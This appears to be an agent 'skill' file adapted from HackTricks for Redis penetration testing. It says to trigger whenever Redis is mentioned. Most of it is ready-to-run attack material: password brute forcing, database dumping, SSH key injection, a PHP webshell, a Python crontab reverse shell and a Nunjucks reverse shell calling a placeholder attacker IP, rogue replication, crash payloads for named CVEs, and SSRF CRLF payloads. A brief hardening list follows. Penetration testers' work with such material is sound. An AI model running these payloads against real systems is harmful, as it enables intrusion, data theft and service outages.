Hacktricks-skills redis-pentesting
Pentest Redis instances (port 6379) for enumeration, authentication bypass, data exfiltration, and RCE. Use this skill whenever the user mentions Redis, port 6379, key-value stores, in-memory databases, or needs to test Redis security. This includes checking for authentication, dumping databases, exploiting misconfigurations, and testing for known CVEs like CVE-2025-49844, CVE-2025-46817, CVE-2025-46818.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/6379-pentesting-redis/SKILL.MDRedis Pentesting Skill
A comprehensive skill for testing Redis instances for security vulnerabilities, from enumeration to remote code execution.
When to Use This Skill
Use this skill when:
- You need to test a Redis instance (default port 6379)
- You're doing penetration testing on a target with Redis exposed
- You need to enumerate Redis databases and keys
- You want to check for authentication bypass or weak credentials
- You need to exploit Redis misconfigurations for RCE
- You're testing for Redis-specific CVEs
- You have SSRF access to a Redis instance
Quick Start
# Basic connection test redis-cli -h <target> -p 6379 # Or with netcat for raw protocol access nc -vn <target> 6379
Enumeration
Automatic Enumeration
Use these tools for initial reconnaissance:
# Nmap redis-info script nmap --script redis-info -sV -p 6379 <target> # Metasploit scanner msfconsole use auxiliary/scanner/redis/redis_server set RHOSTS <target> run
Manual Enumeration
Connect and run basic commands:
# Connect with redis-cli redis-cli -h <target> -p 6379 # Get server information INFO # Check connected clients CLIENT LIST # Get configuration (may be restricted) CONFIG GET * # Monitor commands in real-time MONITOR # Get slow queries SLOWLOG GET 25
Check Authentication Status
# Try INFO without auth - if you get: # -NOAUTH Authentication required. # Then credentials are needed # If you get server info, Redis is unauthenticated
Authentication Testing
Default Credentials
Redis often runs without authentication by default. If authentication is required:
# Try common passwords AUTH default AUTH default password AUTH default password123 AUTH default admin AUTH default redis # Or with username:password format AUTH <username> <password>
Brute Force
If you suspect authentication is enabled, use brute force tools:
# Using redis-cli with wordlist for pass in $(cat wordlist.txt); do redis-cli -h <target> -a "$pass" PING 2>/dev/null && echo "Password: $pass" && break done
Database Enumeration
Find Active Databases
# Check which databases have data INFO keyspace # Select a database (0-15 by default) SELECT 0 SELECT 1 # etc. # List all keys in current database KEYS * # Get key type TYPE <key> # Get key value (for strings) GET <key> # Get list items LRANGE <key> 0 -1 # Get hash items HGET <key> <field> HGETALL <key> # For complex types, use DUMP DUMP <key>
Dump Entire Database
# Using redis-dump (npm) npm install -g redis-dump redis-dump -h <target> -p 6379 -o dump.rdb # Using redis-utils (python) pip install redis-utils redis-dump -h <target> -p 6379 -o dump.rdb
Remote Code Execution Techniques
Technique 1: SSH Key Injection
This is the most reliable RCE method when you can write to the Redis user's home directory.
# 1. Generate SSH key pair ssh-keygen -t rsa -f redis_exploit -N "" # 2. Format the public key with newlines echo -e "\n\n" > spaced_key.txt cat redis_exploit.pub >> spaced_key.txt echo -e "\n\n" >> spaced_key.txt # 3. Import into Redis cat spaced_key.txt | redis-cli -h <target> -x set ssh_key # 4. Write to authorized_keys redis-cli -h <target> CONFIG SET dir /var/lib/redis/.ssh CONFIG SET dbfilename authorized_keys SAVE # 5. Connect via SSH ssh -i redis_exploit redis@<target>
Alternative user discovery:
# Try common user home directories redis-cli -h <target> CONFIG SET dir /home/<username>/.ssh redis-cli -h <target> CONFIG SET dbfilename authorized_keys redis-cli -h <target> SAVE
Technique 2: PHP Webshell
When you know the web root path:
redis-cli -h <target> CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload "<?php system(\$_GET['cmd']); ?>" SAVE # Access via browser # http://<target>/shell.php?cmd=id
Technique 3: Crontab Injection
# Create reverse shell payload echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | redis-cli -h <target> -x set cronjob # Write to crontab redis-cli -h <target> CONFIG SET dir /var/spool/cron/crontabs/ redis-cli -h <target> CONFIG SET dbfilename root redis-cli -h <target> SAVE # For CentOS: # redis-cli -h <target> CONFIG SET dir /var/spool/cron/
Technique 4: Template Injection
For applications using template engines (Jinja2, Nunjucks, etc.):
# Nunjucks reverse shell redis-cli -h <target> CONFIG SET dir /path/to/templates CONFIG SET dbfilename template.html SET payload '{{ ({}).constructor.constructor("var net = global.process.mainModule.require(\'net\'), cp = global.process.mainModule.require(\'child_process\'), sh = cp.spawn(\'sh\', []); var client = new net.Socket(); client.connect(<port>, \'<attacker_ip>\', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });")() }}' SAVE
Technique 5: Master-Slave Replication
Force the target to replicate from your controlled Redis server:
# On your machine, start a Redis server redis-server --port 6379 # On target, force replication redis-cli -h <target> SLAVEOF <your_ip> 6379 # Now commands on your Redis sync to target redis-cli -h localhost CONFIG SET dir /var/lib/redis/.ssh CONFIG SET dbfilename authorized_keys SET <your_public_key> SAVE
CVE Exploitation
CVE-2025-49844 - Lua Parser Use-After-Free
Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20
# Test for vulnerability (may crash server) redis-cli -h <target> -a <password> EVAL "\nlocal a = string.rep('asdf', 65536); \ncollectgarbage('collect'); \nlocal src = string.rep('x', 1024 * 1024); \nlocal f = loadstring(src); \nreturn 'done'" 0 # If server crashes, it's vulnerable
CVE-2025-46817 - Integer Overflow in unpack
Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20
# Test for vulnerability (DoS) redis-cli -h <target> -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0 # Server should crash or OOM if vulnerable
CVE-2025-46818 - Metatable Poisoning
Affected versions: < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20
# Test for metatable poisoning redis-cli -h <target> -a <password> EVAL "\ngetmetatable('').__index = function(_, key) \n if key == 'testfunc' then \n return function() return 'testfuncoutput' end \n end \nend; \nreturn ('teststring').testfunc()" 0 # Returns 'testfuncoutput' if vulnerable
SSRF to Redis
If you have SSRF access, you can send Redis commands directly:
# Basic SSRF payload GET /?url=redis://127.0.0.1:6379/ HTTP/1.1 Host: target # With CRLF injection for multi-command GET /?url=redis://127.0.0.1:6379/%0D%0A%20multi%0D%0A%20set%20test%20value%0D%0A%20exec%0D%0A HTTP/1.1 Host: target
Security Hardening Recommendations
After testing, recommend these fixes:
-
Enable authentication:
requirepass strong_password_here -
Bind to localhost only:
bind 127.0.0.1 -
Disable dangerous commands:
rename-command FLUSHDB "" rename-command FLUSHALL "" rename-command CONFIG "" rename-command DEBUG "" -
Use TLS/SSL:
tls-port 6379 port 0 tls-cert-file /path/to/cert.pem tls-key-file /path/to/key.pem -
Set memory limits:
maxmemory 256mb maxmemory-policy allkeys-lru
Useful Commands Reference
| Command | Description |
|---|---|
| Server information |
| Connected clients |
| Configuration |
| All keys (use cautiously) |
| Key data type |
| String value |
| Hash fields |
| List items |
| Raw value dump |
| Real-time command log |
| Slow queries |
| Loaded modules |
Tools
- Official Redis CLIredis-cli
- Port scanning with redis-info scriptnmap
- Database backup toolredis-dump
- Rogue server for RCEredis-rogue-server
- Automated SSH key injectionredis-rce-ssh
Notes
- Redis uses a text-based protocol - you can communicate via netcat
- Default port is 6379, but can be changed
- Databases are numbered 0-15 by default
- Commands can be renamed or disabled in redis.conf
- Some template engines cache templates - may need to restart service
- Always check
early to know where Redis can writeCONFIG GET dir - The
command writes the current database to disksave - Use
to switch databases before operationsSELECT <db>